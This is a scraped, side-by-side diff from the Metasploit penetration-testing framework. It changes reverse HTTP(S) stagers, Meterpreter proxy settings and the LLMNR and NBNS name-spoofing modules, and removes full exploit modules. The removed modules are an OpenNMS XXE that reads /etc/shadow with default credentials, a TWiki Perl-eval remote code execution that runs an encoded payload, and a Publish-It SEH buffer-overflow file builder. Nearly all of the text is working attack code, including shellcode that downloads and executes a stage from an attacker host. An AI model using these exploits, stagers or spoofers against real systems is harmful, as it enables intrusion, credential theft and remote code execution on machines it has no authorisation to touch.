push 0x5BB31098 ; hash( "winhttp.dll", "WinHttpOpenRequest" ) push 0x5BB31098 ; hash( "winhttp.dll", "WinHttpOpenRequest" )
call ebp call ebp
xchg esi, eax ; save HttpRequest handler in esi xchg esi, eax ; save HttpRequest handler in esi
@ -209,9 +192,9 @@ module Payload::Windows::ReverseWinHttp
;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE ;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE
;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA ;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA
mov eax, esp mov eax, esp
push 4 ; sizeof(buffer) push.i8 4 ; sizeof(buffer)
push eax ; &buffer push eax ; &buffer
push 31 ; DWORD dwOption (WINHTTP_OPTION_SECURITY_FLAGS) push.i8 31 ; DWORD dwOption (WINHTTP_OPTION_SECURITY_FLAGS)
push esi ; hHttpRequest push esi ; hHttpRequest
push 0xCE9D58D3 ; hash( "winhttp.dll", "WinHttpSetOption" ) push 0xCE9D58D3 ; hash( "winhttp.dll", "WinHttpSetOption" )
call ebp call ebp
@ -219,11 +202,6 @@ module Payload::Windows::ReverseWinHttp
end end
asm << %Q^ asm << %Q^
; Store our retry counter in the edi register
set_retry:
push #{retry_count}
pop edi
send_request: send_request:
WinHttpSendRequest: WinHttpSendRequest:
@ -237,7 +215,7 @@ module Payload::Windows::ReverseWinHttp
push 0x91BB5895 ; hash( "winhttp.dll", "WinHttpSendRequest" ) push 0x91BB5895 ; hash( "winhttp.dll", "WinHttpSendRequest" )
call ebp call ebp
test eax,eax test eax,eax
jnz check_response ; if TRUE call WinHttpReceiveResponse API jnz receive_response ; if TRUE call WinHttpReceiveResponse API
try_it_again: try_it_again:
dec edi dec edi
@ -259,79 +237,12 @@ module Payload::Windows::ReverseWinHttp
^ ^
end end
# Jump target if the request was sent successfully
asm << %Q^
check_response:
^
# Verify the SSL certificate hash
if verify_ssl
asm << %Q^
ssl_cert_get_context:
push 4
mov ecx, esp ; Allocate &bufferLength
push 0
mov ebx, esp ; Allocate &buffer (ebx will point to *pCert)
push ecx ; &bufferLength
push ebx ; &buffer
push 78 ; DWORD dwOption (WINHTTP_OPTION_SERVER_CERT_CONTEXT)
push esi ; hHttpRequest
push 0x272F0478 ; hash( "winhttp.dll", "WinHttpQueryOption" )
call ebp
test eax, eax ;
jz failure ; Bail out if we couldn't get the certificate context
; ebx
ssl_cert_allocate_hash_space:
push 20 ;
mov ecx, esp ; Store a reference to the address of 20
sub esp,[ecx] ; Allocate 20 bytes for the hash output
mov edi, esp ; edi will point to our buffer
ssl_cert_get_server_hash:
push ecx ; &bufferLength
push edi ; &buffer (20-byte SHA1 hash)
push 3 ; DWORD dwPropId (CERT_SHA1_HASH_PROP_ID)
push [ebx] ; *pCert
push 0xC3A96E2D ; hash( "crypt32.dll", "CertGetCertificateContextProperty" )
call ebp
test eax, eax ;
jz failure ; Bail out if we couldn't get the certificate context
ssl_cert_start_verify:
call ssl_cert_compare_hashes
db #{encoded_cert_hash}
ssl_cert_compare_hashes:
pop ebx ; ebx points to our internal 20-byte certificate hash (overwrites *pCert)
; edi points to the server-provided certificate hash
push 4 ; Compare 20 bytes (5 * 4) by repeating 4 more times
pop ecx ;
mov edx, ecx ; Keep a reference to 4 in edx
ssl_cert_verify_compare_loop:
mov eax, [ebx] ; Grab the next DWORD of the hash
cmp eax, [edi] ; Compare with the server hash
jnz failure ; Bail out if the DWORD doesn't match
add ebx, edx ; Increment internal hash pointer by 4
add edi, edx ; Increment server hash pointer by 4
loop ssl_cert_verify_compare_loop
; Our certificate hash was valid, hurray!
ssl_cert_verify_cleanup:
xor ebx, ebx ; Reset ebx back to zero
^
end
asm << %Q^ asm << %Q^
receive_response: receive_response:
; The API WinHttpReceiveResponse needs to be called ; The API WinHttpReceiveResponse needs to be called
; first to get a valid handle for WinHttpReadData ; first to get a valid handler for WinHttpReadData
push ebx ; Reserved (NULL) push ebx ; Reserved (NULL) [2]
push esi ; Request handler returned by WinHttpSendRequest push esi ; Request handler returned by WinHttpSendRequest [1]
push 0x709D8805 ; hash( "winhttp.dll", "WinHttpReceiveResponse" ) push 0x709D8805 ; hash( "winhttp.dll", "WinHttpReceiveResponse" )
call ebp call ebp
test eax,eax test eax,eax
@ -340,7 +251,7 @@ module Payload::Windows::ReverseWinHttp
asm << %Q^ asm << %Q^
allocate_memory: allocate_memory:
push 0x40 ; PAGE_EXECUTE_READWRITE push.i8 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT push 0x1000 ; MEM_COMMIT
push 0x00400000 ; Stage allocation (4Mb ought to do us) push 0x00400000 ; Stage allocation (4Mb ought to do us)
push ebx ; NULL as we dont care where the allocation is push ebx ; NULL as we dont care where the allocation is
@ -388,8 +299,6 @@ module Payload::Windows::ReverseWinHttp
asm asm
end end
end end
end end

View File

@ -2,7 +2,6 @@
require 'msf/core' require 'msf/core'
require 'msf/core/payload/windows/reverse_winhttp' require 'msf/core/payload/windows/reverse_winhttp'
require 'rex/parser/x509_certificate'
module Msf module Msf
@ -18,17 +17,6 @@ module Payload::Windows::ReverseWinHttps
include Msf::Payload::Windows::ReverseWinHttp include Msf::Payload::Windows::ReverseWinHttp
#
# Register reverse_winhttps specific options
#
def initialize(*args)
super
register_advanced_options(
[
OptBool.new('StagerVerifySSLCert', [false, 'Whether to verify the SSL certificate hash in the handler', false])
], self.class)
end
# #
# Generate and compile the stager # Generate and compile the stager
# #
@ -49,38 +37,13 @@ module Payload::Windows::ReverseWinHttps
# #
def generate def generate
verify_cert = false
verify_cert_hash = nil
if datastore['StagerVerifySSLCert'].to_s =~ /^(t|y|1)/i
unless datastore['HandlerSSLCert']
raise ArgumentError, "StagerVerifySSLCert is enabled but no HandlerSSLCert is configured"
else
verify_cert = true
hcert = Rex::Parser::X509Certificate.parse_pem_file(datastore['HandlerSSLCert'])
unless hcert and hcert[0] and hcert[1]
raise ArgumentError, "Could not parse a private key and certificate from #{datastore['HandlerSSLCert']}"
end
verify_cert_hash = Rex::Text.sha1_raw(hcert[1].to_der)
print_status("Stager will verify SSL Certificate with SHA1 hash #{verify_cert_hash.unpack("H*").first}")
end
end
# Generate the simple version of this stager if we don't have enough space # Generate the simple version of this stager if we don't have enough space
if self.available_space.nil? || required_space > self.available_space if self.available_space.nil? || required_space > self.available_space
if datastore['StagerVerifySSLCert'].to_s =~ /^(t|y|1)/i
raise ArgumentError, "StagerVerifySSLCert is enabled but not enough payload space is available"
end
return generate_reverse_winhttps( return generate_reverse_winhttps(
ssl: true, ssl: true,
host: datastore['LHOST'], host: datastore['LHOST'],
port: datastore['LPORT'], port: datastore['LPORT'],
url: generate_small_uri, url: generate_small_uri)
verify_cert: verify_cert,
verify_cert_hash: verify_cert_hash,
retry_count: datastore['StagerRetryCount'])
end end
conf = { conf = {
@ -88,32 +51,12 @@ module Payload::Windows::ReverseWinHttps
host: datastore['LHOST'], host: datastore['LHOST'],
port: datastore['LPORT'], port: datastore['LPORT'],
url: generate_uri, url: generate_uri,
exitfunk: datastore['EXITFUNC'], exitfunk: datastore['EXITFUNC']
verify_cert: verify_cert,
verify_cert_hash: verify_cert_hash,
retry_count: datastore['StagerRetryCount']
} }
generate_reverse_winhttps(conf) generate_reverse_winhttps(conf)
end end
#
# Determine the maximum amount of space required for the features requested
#
def required_space
space = super
# SSL support adds 20 bytes
space += 20
# SSL verification adds 120 bytes
if datastore['StagerVerifySSLCert']
space += 120
end
space
end
end end
end end

View File

@ -1,62 +0,0 @@
# -*- coding: binary -*-
require 'openssl'
module Rex
module Parser
###
#
# This class parses the contents of a PEM-encoded X509 certificate file containing
# a private key, a public key, and any appended glue certificates.
#
###
class X509Certificate
#
# Parse a certificate in unified PEM format that contains a private key and
# one or more certificates. The first certificate is the primary, while any
# additional certificates are treated as intermediary certificates. This emulates
# the behavior of web servers like nginx.
#
# @param [String] ssl_cert
# @return [String, String, Array]
def self.parse_pem(ssl_cert)
cert = nil
key = nil
chain = nil
certs = []
ssl_cert.scan(/-----BEGIN\s*[^\-]+-----+\r?\n[^\-]*-----END\s*[^\-]+-----\r?\n?/nm).each do |pem|
if pem =~ /PRIVATE KEY/
key = OpenSSL::PKey::RSA.new(pem)
elsif pem =~ /CERTIFICATE/
certs << OpenSSL::X509::Certificate.new(pem)
end
end
cert = certs.shift
if certs.length > 0
chain = certs
end
[key, cert, chain]
end
#
# Parse a certificate in unified PEM format from a file
#
# @param [String] ssl_cert_file
# @return [String, String, Array]
def self.parse_pem_file(ssl_cert_file)
data = ''
::File.open(ssl_cert_file, 'rb') do |fd|
data << fd.read(fd.stat.size)
end
parse_pem(data)
end
end
end
end

View File

@ -118,13 +118,13 @@ module Rex
patch_comm_timeout! blob, options[:comm_timeout] patch_comm_timeout! blob, options[:comm_timeout]
patch_ua! blob, options[:ua] patch_ua! blob, options[:ua]
patch_proxy!(blob, patch_proxy!(blob,
options[:proxy_host], options[:proxyhost],
options[:proxy_port], options[:proxyport],
options[:proxy_type] options[:proxy_type]
) )
patch_proxy_auth!(blob, patch_proxy_auth!(blob,
options[:proxy_user], options[:proxy_username],
options[:proxy_pass], options[:proxy_password],
options[:proxy_type] options[:proxy_type]
) )

View File

@ -411,11 +411,11 @@ class ClientCore < Extension
:expiration => self.client.expiration, :expiration => self.client.expiration,
:comm_timeout => self.client.comm_timeout, :comm_timeout => self.client.comm_timeout,
:ua => client.exploit_datastore['MeterpreterUserAgent'], :ua => client.exploit_datastore['MeterpreterUserAgent'],
:proxy_host => client.exploit_datastore['PayloadProxyHost'], :proxyhost => client.exploit_datastore['PROXYHOST'],
:proxy_port => client.exploit_datastore['PayloadProxyPort'], :proxyport => client.exploit_datastore['PROXYPORT'],
:proxy_type => client.exploit_datastore['PayloadProxyType'], :proxy_type => client.exploit_datastore['PROXY_TYPE'],
:proxy_user => client.exploit_datastore['PayloadProxyUser'], :proxy_username => client.exploit_datastore['PROXY_USERNAME'],
:proxy_pass => client.exploit_datastore['PayloadProxyPass'] :proxy_password => client.exploit_datastore['PROXY_PASSWORD']
end end

View File

@ -2,7 +2,6 @@
require 'rex/socket' require 'rex/socket'
require 'rex/socket/tcp_server' require 'rex/socket/tcp_server'
require 'rex/io/stream_server' require 'rex/io/stream_server'
require 'rex/parser/x509_certificate'
### ###
# #
@ -109,7 +108,25 @@ module Rex::Socket::SslTcpServer
# @param [String] ssl_cert # @param [String] ssl_cert
# @return [String, String, Array] # @return [String, String, Array]
def self.ssl_parse_pem(ssl_cert) def self.ssl_parse_pem(ssl_cert)
Rex::Parser::X509Certificate.parse_pem(ssl_cert) cert = nil
key = nil
chain = nil
certs = []
ssl_cert.scan(/-----BEGIN\s*[^\-]+-----+\r?\n[^\-]*-----END\s*[^\-]+-----\r?\n?/nm).each do |pem|
if pem =~ /PRIVATE KEY/
key = OpenSSL::PKey::RSA.new(pem)
elsif pem =~ /CERTIFICATE/
certs << OpenSSL::X509::Certificate.new(pem)
end
end
cert = certs.shift
if certs.length > 0
chain = certs
end
[key, cert, chain]
end end
# #

View File

@ -1,104 +0,0 @@
require 'msf/core'
require 'openssl'
class Metasploit4 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'OpenNMS Authenticated XXE',
'Description' => %q{
OpenNMS is vulnerable to XML External Entity Injection in the Real-Time Console interface.
Although this attack requires authentication, there are several factors that increase the
severity of this vulnerability.
1. OpenNMS runs with root privileges, taken from the OpenNMS FAQ: "The difficulty with the
core of OpenNMS is that these components need to run as root to be able to bind to low-numbered
ports or generate network traffic that requires root"
2. The user that you must authenticate as is the "rtc" user which has the default password of
"rtc". There is no mention of this user in the installation guides found here:
http://www.opennms.org/wiki/Tutorial_Installation, only mention that you should change the default
admin password of "admin" for security purposes.
},
'License' => MSF_LICENSE,
'Author' => [
'Stephen Breen <breenmachine[at]gmail.com>', # discovery
'Justin Kennedy <jstnkndy[at]gmail.com>', # metasploit module
],
'References' => [
['CVE', '2015-0975']
],
'DisclosureDate' => 'Jan 08 2015'
))
register_options(
[
Opt::RPORT(8980),
OptBool.new('SSL', [false, 'Use SSL', false]),
OptString.new('TARGETURI', [ true, "The base path to the OpenNMS application", '/opennms/']),
OptString.new('FILEPATH', [true, "The file or directory to read on the server", "/etc/shadow"]),
OptString.new('USERNAME', [true, "The username to authenticate with", "rtc"]),
OptString.new('PASSWORD', [true, "The password to authenticate with", "rtc"])
], self.class)
end
def run
print_status("Logging in to grab a valid session cookie")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'j_spring_security_check'),
'vars_post' => {
'j_username' => datastore['USERNAME'],
'j_password' => datastore['PASSWORD'],
'Login'=> 'Login'
},
})
if res.nil?
fail_with(Failure::Unreachable, "No response from POST request")
elsif res.code != 302
fail_with(Failure::UnexpectedReply, "Non-302 response from POST request")
end
unless res.headers["Location"].include? "index.jsp"
fail_with(Failure::NoAccess, 'Authentication failed')
end
cookie = res.get_cookies
print_status("Got cookie, going for the goods")
rand_doctype = Rex::Text.rand_text_alpha(rand(1..10))
rand_entity1 = Rex::Text.rand_text_alpha(rand(1..10))
rand_entity2 = Rex::Text.rand_text_alpha(rand(1..10))
delimiter = SecureRandom.uuid
xxe = %Q^<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE #{rand_doctype} [
<!ELEMENT #{rand_entity1} ANY >
<!ENTITY #{rand_entity2} SYSTEM "file://#{datastore["FILEPATH"]}" >
]><#{rand_entity1}>#{delimiter}&#{rand_entity2};#{delimiter}</#{rand_entity1}>^
res = send_request_raw({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'rtc', 'post/'),
'data' => xxe,
'cookie' => cookie
})
# extract filepath data from response
if res && res.code == 400 && res.body =~ /title.+#{delimiter}(.+)#{delimiter}.+title/m
result = $1
print_good("#{result}")
else
fail_with(Failure::Unknown, 'Error fetching file, try another')
end
end
end

View File

@ -103,6 +103,7 @@ class Metasploit3 < Msf::Auxiliary
if datastore['LISTENER'] if datastore['LISTENER']
@listener.kill if @listener @listener.kill if @listener
GC.start()
end end
if capture and @spoofing and not datastore['BROADCAST'] if capture and @spoofing and not datastore['BROADCAST']

View File

@ -139,7 +139,9 @@ attr_accessor :sock, :thread
end end
ip_pkt.recalc ip_pkt.recalc
capture_sendto(ip_pkt, rhost.to_s, true) open_pcap
capture_sendto(ip_pkt, rhost.to_s, true)
close_pcap
end end
def monitor_socket def monitor_socket
@ -174,10 +176,7 @@ attr_accessor :sock, :thread
def run def run
check_pcaprub_loaded() check_pcaprub_loaded()
::Socket.do_not_reverse_lookup = true # Mac OS X workaround ::Socket.do_not_reverse_lookup = true
# Avoid receiving extraneous traffic on our send socket
open_pcap({'FILTER' => 'ether host f0:f0:f0:f0:f0:f0'})
# Multicast Address for LLMNR # Multicast Address for LLMNR
multicast_addr = ::IPAddr.new("224.0.0.252") multicast_addr = ::IPAddr.new("224.0.0.252")
@ -192,28 +191,24 @@ attr_accessor :sock, :thread
self.sock = Rex::Socket.create_udp( self.sock = Rex::Socket.create_udp(
# This must be INADDR_ANY to receive multicast packets # This must be INADDR_ANY to receive multicast packets
'LocalHost' => "0.0.0.0", 'LocalHost' => "0.0.0.0",
'LocalPort' => 5355, 'LocalPort' => 5355)
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
)
self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1) self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
self.sock.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_ADD_MEMBERSHIP, optval) self.sock.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_ADD_MEMBERSHIP, optval)
self.thread = Rex::ThreadFactory.spawn("LLMNRServerMonitor", false) { self.thread = Rex::ThreadFactory.spawn("LLMNRServerMonitor", false) {
monitor_socket monitor_socket
} }
print_status("LLMNR Spoofer started. Listening for LLMNR requests with REGEX \"#{datastore['REGEX']}\" ...") print_status("LLMNR Spoofer started. Listening for LLMNR requests with REGEX \"#{datastore['REGEX']}\" ...")
add_socket(self.sock) add_socket(self.sock)
self.thread.join while thread.alive?
select(nil, nil, nil, 0.25)
end
self.thread.kill
self.sock.close rescue nil
end end
def cleanup
if self.thread and self.thread.alive?
self.thread.kill
self.thread = nil
end
close_pcap
end
end end

View File

@ -9,9 +9,6 @@ class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Capture include Msf::Exploit::Capture
attr_accessor :sock, :thread
def initialize def initialize
super( super(
'Name' => 'NetBIOS Name Service Spoofer', 'Name' => 'NetBIOS Name Service Spoofer',
@ -47,142 +44,108 @@ class Metasploit3 < Msf::Auxiliary
]) ])
register_advanced_options([ register_advanced_options([
OptBool.new('DEBUG', [ false, "Determines whether incoming packet parsing is displayed", false]) OptBool.new('Debug', [ false, "Determines whether incoming packet parsing is displayed", false])
]) ])
deregister_options('RHOST', 'PCAPFILE', 'SNAPLEN', 'FILTER') deregister_options('RHOST', 'PCAPFILE', 'SNAPLEN', 'FILTER')
self.thread = nil
self.sock = nil
end
def dispatch_request(packet, rhost, src_port)
rhost = ::IPAddr.new(rhost)
# `recvfrom` (on Linux at least) will give us an ipv6/ipv4 mapped
# addr like "::ffff:192.168.0.1" when the interface we're listening
# on has an IPv6 address. Convert it to just the v4 addr
if rhost.ipv4_mapped?
rhost = rhost.native
end
# Convert to string
rhost = rhost.to_s
spoof = ::IPAddr.new(datastore['SPOOFIP'])
return if packet.length == 0
nbnsq_transid = packet[0..1]
nbnsq_flags = packet[2..3]
nbnsq_questions = packet[4..5]
nbnsq_answerrr = packet[6..7]
nbnsq_authorityrr = packet[8..9]
nbnsq_additionalrr = packet[10..11]
nbnsq_name = packet[12..45]
decoded = ""
nbnsq_name.slice(1..-2).each_byte do |c|
decoded << "#{(c - 65).to_s(16)}"
end
nbnsq_decodedname = "#{[decoded].pack('H*')}".strip()
nbnsq_type = packet[46..47]
nbnsq_class = packet[48..49]
return unless nbnsq_decodedname =~ /#{datastore['REGEX']}/i
vprint_good("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} matches regex, responding with #{spoof}")
if datastore['DEBUG']
print_status("transid: #{nbnsq_transid.unpack('H4')}")
print_status("tlags: #{nbnsq_flags.unpack('B16')}")
print_status("questions: #{nbnsq_questions.unpack('n')}")
print_status("answerrr: #{nbnsq_answerrr.unpack('n')}")
print_status("authorityrr: #{nbnsq_authorityrr.unpack('n')}")
print_status("additionalrr: #{nbnsq_additionalrr.unpack('n')}")
print_status("name: #{nbnsq_name} #{nbnsq_name.unpack('H34')}")
print_status("full name: #{nbnsq_name.slice(1..-2)}")
print_status("decoded: #{decoded}")
print_status("decoded name: #{nbnsq_decodedname}")
print_status("type: #{nbnsq_type.unpack('n')}")
print_status("class: #{nbnsq_class.unpack('n')}")
end
# time to build a response packet - Oh YEAH!
response = nbnsq_transid +
"\x85\x00" + # Flags = response + authoratative + recursion desired +
"\x00\x00" + # Questions = 0
"\x00\x01" + # Answer RRs = 1
"\x00\x00" + # Authority RRs = 0
"\x00\x00" + # Additional RRs = 0
nbnsq_name + # original query name
nbnsq_type + # Type = NB ...whatever that means
nbnsq_class+ # Class = IN
"\x00\x04\x93\xe0" + # TTL = a long ass time
"\x00\x06" + # Datalength = 6
"\x00\x00" + # Flags B-node, unique = whatever that means
spoof.hton
pkt = PacketFu::UDPPacket.new
pkt.ip_saddr = Rex::Socket.source_address(rhost)
pkt.ip_daddr = rhost
pkt.ip_ttl = 255
pkt.udp_sport = 137
pkt.udp_dport = src_port
pkt.payload = response
pkt.recalc
capture_sendto(pkt, rhost)
end
def monitor_socket
while true
rds = [self.sock]
wds = []
eds = [self.sock]
r,_,_ = ::IO.select(rds,wds,eds,0.25)
if (r != nil and r[0] == self.sock)
packet, host, port = self.sock.recvfrom(65535)
dispatch_request(packet, host, port)
end
end
end end
def run def run
check_pcaprub_loaded() check_pcaprub_loaded() # Check first since otherwise this is all for naught
::Socket.do_not_reverse_lookup = true # Mac OS X workaround # MacOS X workaround
::Socket.do_not_reverse_lookup = true
# Avoid receiving extraneous traffic on our send socket @sock = ::UDPSocket.new()
open_pcap({'FILTER' => 'ether host f0:f0:f0:f0:f0:f0'}) @sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
@sock.bind('', 137) # couldn't specify srv host because it missed broadcasts
self.sock = Rex::Socket.create_udp( @run = true
'LocalHost' => "0.0.0.0",
'LocalPort' => 137,
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
)
add_socket(self.sock)
self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
self.thread = Rex::ThreadFactory.spawn("NBNSServerMonitor", false) { print_status("NBNS Spoofer started. Listening for NBNS requests...")
begin
monitor_socket begin
rescue ::Interrupt
raise $! while @run # Not exactly thrilled we can never turn this off XXX fix this sometime.
rescue ::Exception packet, addr = @sock.recvfrom(512)
print_error("Error: #{$!.class} #{$!} #{$!.backtrace}") src_port = addr[1]
rhost = addr[3]
break if packet.length == 0
nbnsq_transid = packet[0..1]
nbnsq_flags = packet[2..3]
nbnsq_questions = packet[4..5]
nbnsq_answerrr = packet[6..7]
nbnsq_authorityrr = packet[8..9]
nbnsq_additionalrr = packet[10..11]
nbnsq_name = packet[12..45]
decoded = ""
nbnsq_name.slice(1..-2).each_byte do |c|
decoded << "#{(c - 65).to_s(16)}"
end end
} nbnsq_decodedname = "#{[decoded].pack('H*')}".strip()
nbnsq_type = packet[46..47]
nbnsq_class = packet[48..49]
print_status("NBNS Spoofer started. Listening for NBNS requests with REGEX \"#{datastore['REGEX']}\" ...") if (nbnsq_decodedname =~ /#{datastore['REGEX']}/i)
self.thread.join vprint_good("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} matches regex, responding with #{datastore["SPOOFIP"]}")
print_status("NBNS Monitor thread exited...")
end
def cleanup if datastore['DEBUG']
if self.thread and self.thread.alive? print_status("transid: #{nbnsq_transid.unpack('H4')}")
self.thread.kill print_status("tlags: #{nbnsq_flags.unpack('B16')}")
self.thread = nil print_status("questions: #{nbnsq_questions.unpack('n')}")
print_status("answerrr: #{nbnsq_answerrr.unpack('n')}")
print_status("authorityrr: #{nbnsq_authorityrr.unpack('n')}")
print_status("additionalrr: #{nbnsq_additionalrr.unpack('n')}")
print_status("name: #{nbnsq_name} #{nbnsq_name.unpack('H34')}")
print_status("full name: #{nbnsq_name.slice(1..-2)}")
print_status("decoded: #{decoded}")
print_status("decoded name: #{nbnsq_decodedname}")
print_status("type: #{nbnsq_type.unpack('n')}")
print_status("class: #{nbnsq_class.unpack('n')}")
end
# time to build a response packet - Oh YEAH!
response = nbnsq_transid +
"\x85\x00" + # Flags = response + authoratative + recursion desired +
"\x00\x00" + # Questions = 0
"\x00\x01" + # Answer RRs = 1
"\x00\x00" + # Authority RRs = 0
"\x00\x00" + # Additional RRs = 0
nbnsq_name + # original query name
nbnsq_type + # Type = NB ...whatever that means
nbnsq_class+ # Class = IN
"\x00\x04\x93\xe0" + # TTL = a long ass time
"\x00\x06" + # Datalength = 6
"\x00\x00" + # Flags B-node, unique = whet ever that means
datastore['SPOOFIP'].split('.').collect(&:to_i).pack('C*')
open_pcap
p = PacketFu::UDPPacket.new
p.ip_saddr = Rex::Socket.source_address(rhost)
p.ip_daddr = rhost
p.ip_ttl = 255
p.udp_sport = 137
p.udp_dport = src_port
p.payload = response
p.recalc
capture_sendto(p, rhost)
close_pcap
else
vprint_status("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} did not match regex")
end
end end
close_pcap
end
rescue ::Exception => e
print_error("nbnspoof: #{e.class} #{e} #{e.backtrace}")
# Make sure the socket gets closed on exit
ensure
@sock.close
end
end
end end

View File

@ -1,101 +0,0 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'TWiki Debugenableplugins Remote Code Execution',
'Description' => %q{
TWiki 4.0.x-6.0.0 contains a vulnerability in the Debug functionality.
The value of the debugenableplugins parameter is used without proper sanitization
in an Perl eval statement which allows remote code execution
},
'Author' =>
[
'Netanel Rubin', # from Check Point - Discovery
'h0ng10', # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2014-7236'],
[ 'OSVDB', '112977'],
[ 'URL', 'http://twiki.org/cgi-bin/view/Codev/SecurityAlert-CVE-2014-7236']
],
'Privileged' => false,
'Targets' =>
[
[ 'Automatic',
{
'Payload' =>
{
'BadChars' => "",
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl python php',
}
},
'Platform' => ['unix'],
'Arch' => ARCH_CMD
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 09 2014'))
register_options(
[
OptString.new('TARGETURI', [ true, "TWiki path", '/do/view/Main/WebHome' ]),
OptString.new('PLUGIN', [true, "A existing TWiki Plugin", 'BackupRestorePlugin'])
], self.class)
end
def send_code(perl_code)
uri = target_uri.path
data = "debugenableplugins=#{datastore['PLUGIN']}%3b" + CGI.escape(perl_code) + "%3bexit"
res = send_request_cgi!({
'method' => 'POST',
'uri' => uri,
'data' => data
})
return res
end
def check
rand_1 = rand_text_alpha(5)
rand_2 = rand_text_alpha(5)
code = "print(\"Content-Type:text/html\\r\\n\\r\\n#{rand_1}\".\"#{rand_2}\")"
res = send_code(code)
if res and res.code == 200
return CheckCode::Vulnerable if res.body == rand_1 + rand_2
end
CheckCode::Unknown
end
def exploit
code = "print(\"Content-Type:text/html\\r\\n\\r\\n\");"
code += "require('MIME/Base64.pm');MIME::Base64->import();"
code += "system(decode_base64('#{Rex::Text.encode_base64(payload.encoded)}'));exit"
res = send_code(code)
handler
end
end

View File

@ -1,82 +0,0 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'Publish-It PUI Buffer Overflow (SEH)',
'Description' => %q{
This module exploits a stack based buffer overflow in Publish-It when
processing a specially crafted .PUI file. This vulnerability could be
exploited by a remote attacker to execute arbitrary code on the target
machine by enticing a user of Publish-It to open a malicious .PUI file.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Daniel Kazimirow', # Original discovery
'Andrew Smith "jakx_"', # Exploit and MSF Module
],
'References' =>
[
[ 'OSVDB', '102911' ],
[ 'CVE', '2014-0980' ],
[ 'EDB', '31461' ]
],
'DefaultOptions' =>
{
'ExitFunction' => 'process',
},
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "\x00\x0b\x0a",
'DisableNops' => true,
'Space' => 377
},
'Targets' =>
[
[ 'Publish-It 3.6d',
{
'Ret' => 0x0046e95a, #p/p/r | Publish.EXE
'Offset' => 1082
}
],
],
'Privileged' => false,
'DisclosureDate' => 'Feb 5 2014',
'DefaultTarget' => 0))
register_options([OptString.new('FILENAME', [ true, 'The file name.', 'msf.pui']),], self.class)
end
def exploit
path = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2014-0980.pui")
fd = File.open(path, "rb")
template_data = fd.read(fd.stat.size)
fd.close
buffer = template_data
buffer << make_nops(700)
buffer << payload.encoded
buffer << make_nops(target['Offset']-payload.encoded.length-700-5)
buffer << Rex::Arch::X86.jmp('$-399') #long negative jump -399
buffer << Rex::Arch::X86.jmp_short('$-24') #nseh negative jump
buffer << make_nops(2)
buffer << [target.ret].pack("V")
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(buffer)
end
end

View File

@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_http'
module Metasploit3 module Metasploit3
CachedSize = 5499 CachedSize = 5500
include Msf::Payload::Stager include Msf::Payload::Stager
include Msf::Payload::Java include Msf::Payload::Java
@ -40,22 +40,12 @@ module Metasploit3
end end
def config def config
# Default URL length is 30-256 bytes
uri_req_len = 30 + rand(256-30)
# Generate the short default URL if we don't know available space
if self.available_space.nil?
uri_req_len = 5
end
spawn = datastore["Spawn"] || 2 spawn = datastore["Spawn"] || 2
c = "" c = ""
c << "Spawn=#{spawn}\n" c << "Spawn=#{spawn}\n"
c << "URL=http://#{datastore["LHOST"]}" c << "URL=http://#{datastore["LHOST"]}"
c << ":#{datastore["LPORT"]}" if datastore["LPORT"] c << ":#{datastore["LPORT"]}" if datastore["LPORT"]
c << "/" c << "/INITJM\n"
c << generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITJ, uri_req_len)
c << "\n"
c c
end end

View File

@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_https'
module Metasploit3 module Metasploit3
CachedSize = 6307 CachedSize = 6308
include Msf::Payload::Stager include Msf::Payload::Stager
include Msf::Payload::Java include Msf::Payload::Java
@ -42,22 +42,12 @@ module Metasploit3
end end
def config def config
# Default URL length is 30-256 bytes
uri_req_len = 30 + rand(256-30)
# Generate the short default URL if we don't know available space
if self.available_space.nil?
uri_req_len = 5
end
spawn = datastore["Spawn"] || 2 spawn = datastore["Spawn"] || 2
c = "" c = ""
c << "Spawn=#{spawn}\n" c << "Spawn=#{spawn}\n"
c << "URL=https://#{datastore["LHOST"]}" c << "URL=https://#{datastore["LHOST"]}"
c << ":#{datastore["LPORT"]}" if datastore["LPORT"] c << ":#{datastore["LPORT"]}" if datastore["LPORT"]
c << "/" c << "/INITJM\n"
